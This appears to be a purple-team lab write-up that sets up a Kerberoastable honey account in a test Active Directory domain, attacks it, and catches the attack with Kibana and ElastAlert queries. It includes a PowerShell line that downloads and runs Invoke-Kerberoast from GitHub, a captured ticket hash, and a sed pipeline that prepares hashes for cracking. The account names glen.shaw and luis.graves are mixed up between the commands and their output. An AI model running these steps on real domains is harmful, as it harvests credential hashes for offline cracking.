This attack path has been popularized over the last several years and thus gained in notoriety, popularity, and defensive implementations. We are going to turn one of our managed accounts into a "Honey Account" for detecting Kerberos attacks.
In this lab, we will create a vulnerable Active Directory state by adding a SPN to an existing user account. We will then exploit the configuration by invoking tool "Kerberoast" to create an authentication ticket for the SPN attached to the user. This results in a hash that can then be replayed or cracked.
We will then look for evidence that a process exploited the state by creating an authentication ticket for the SPN attached to the user.
The following query may catch the Kerberos Ticket operations quick and easy. But, the vulnerable state may not exist yet.
event_id : 4769
Or, we can try a search for our honey account: luis.graves. This account will be "kerberoastable" very soon.
service_ticket_name : "luis.graves"
Even better though, we can pre-preemptively plan our detection based on the ElastAlert results shown below.
We start this section by switching to the ElastAlert log index in the Kibana UI. Once there, our standard methodology is to clean out the noise and see if we can parse the results down to the recent activity we have been hoping to catch.
As shown in the next screenshot, several Sigma and Sysmon alerts were triggered in association with the use of SetSPN.exe and a request for a ticket with a specific encryption type: RC4 (0x17).
The two queries listed below seem to be fairly reliable query to detect Kerberoast attacks.
ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt # can be noisy
or
ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and service_ticket_name : "luis.graves" and event_id : 4769
Set the refresh timer in the Kibana UI to 10 seconds, the time window to a recent period of time, and search any of the Kerberos ticketing related queries. Then, run the attacks listed below.
In this phase of the lab, we are going to assign an SPN (service principal name) to an account. This will assign a unique identifier to the glen.shaw and allow Kerberos authentication to associate the account with a service instance. This configuration would then allow the glen.shaw account to login as a service account against the domain.
Connect via Remote Desktop to the Member Server, WS01.
Launch Windows PowerShell from the Windows Start Menu.
First, confirm the correct user and system context by using the "whoami" and "hostname" commands.
whoami
hostname
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\itadmin> whoami
labs\itadmin <------------------------------VERIFY RESULT
PS C:\Users\itadmin> hostname
ws01 <-----------------------------------VERIFY RESULT
If the result of the above commands differs, please confirm you are operating on the correct system and user context.
This will assign a unique identifier to the glen.shaw and allow Kerberos authentication to associate the account with a service instance.
setspn -a ws01/luis.graves.labs.local:1433 labs.local\luis.graves
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\itadmin> setspn -a ws01/glen.shaw.labs.local:1433 labs.local\glen.shaw
Checking domain DC=labs,DC=local
Registering ServicePrincipalNames for CN=Luis.Graves,OU=UserAccounts,DC=labs,DC=local
ws01/luis.graves.labs.local:1433
Updated object
The next command will list the accounts on the domain with existing SPNs.
setspn -T labs.local -Q */*
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\itadmin> setspn -T labs.local -Q */*
Checking domain DC=labs,DC=local
CN=dc01,OU=Domain Controllers,DC=labs,DC=local
TERMSRV/dc01
TERMSRV/dc01.labs.local
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/dc01.labs.local
ldap/dc01.labs.local/ForestDnsZones.labs.local
ldap/dc01.labs.local/DomainDnsZones.labs.local
DNS/dc01.labs.local
GC/dc01.labs.local/labs.local
RestrictedKrbHost/dc01.labs.local
RestrictedKrbHost/dc01
RPC/3784a87a-cf3b-4720-be4b-20d9c31fb4ec._msdcs.labs.local
HOST/dc01/LABS
HOST/dc01.labs.local/LABS
HOST/dc01
HOST/dc01.labs.local
HOST/dc01.labs.local/labs.local
E3514235-4B06-11D1-AB04-00C04FC2DCD2/3784a87a-cf3b-4720-be4b-20d9c31fb4ec/labs.local
ldap/dc01/LABS
ldap/3784a87a-cf3b-4720-be4b-20d9c31fb4ec._msdcs.labs.local
ldap/dc01.labs.local/LABS
ldap/dc01
ldap/dc01.labs.local
ldap/dc01.labs.local/labs.local
CN=krbtgt,CN=Users,DC=labs,DC=local
kadmin/changepw
CN=ws01,OU=ComputerAccounts,DC=labs,DC=local
TERMSRV/ws01
TERMSRV/ws01.labs.local
WSMAN/ws01
WSMAN/ws01.labs.local
RestrictedKrbHost/ws01
HOST/ws01
RestrictedKrbHost/ws01.labs.local
HOST/ws01.labs.local
CN=Glen.Shaw,OU=UserAccounts,DC=labs,DC=local
ws01/luis.graves.labs.local:1433
Existing SPN found!
Use the following command via Windows PowerShell to produce an output that is a small challenge to sort, as it comes with line breaks. Easy enough to clean up with a little bit of sed magic (a command is listed after the initial execution below).
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\itadmin> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
C:\Users\itadmin> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat
TicketByteHexStream :
Hash : $krb5tgs$23$*Luis.Graves$labs.local$ws01/luis.graves.labs.local:1433*$26883054D1BE47DDC364B9C9C54B0A61$80C650C023B9D9CF77E64E6E4A47EDCACC36B7B72F045751C6117B64D558A7A4AF17BB49D3AEC2B53A7A3C59ABF1B3FB712333487CB73B4B99463D377ABF7FA43DABEE96876B4BC5742C56273D7D76AC178D3E517432B7DF52FF8B720C46F15CD1E599F5E26511561E9E39A285C18FB09C19897DF79DCCBE73918 <TRUNCATED HASH>
SamAccountName : Luis.Graves
DistinguishedName : CN=Luis.Graves,CN=Users,DC=labs,DC=local
ServicePrincipalName : ws01/luis.graves.labs.local:1433
The sed command below can be used in situations where the ticket is in this messy state. You will need to copy the contents, line breaks and all, to the kerb.txt file on a Nux/Mac install and use cat, sed, translate, and grep to clean it up.
cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed s/://g | sed s/--//g | sed -r 's/\s+//g' | tr '\n' ' ' | sed 's/\s//g' | sed 's/$k\{1,\}/\'$'\n&/g’
However, to produce a cleaner output initially, use the following command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash
PS C:\Users\itadmin> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\itadmin> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash
Hash
----
$krb5tgs$23$*Luis.Graves$labs.local$ws01/luis.graves.labs.local:1433*$26883054D1BE47DDC364B9C9C54B0A61$80C650C023B9D9CF7...
You may head back to the ElastAlert index and review the SPN, Sysmon, and related alerts for further research opportunities.
This completes this lab.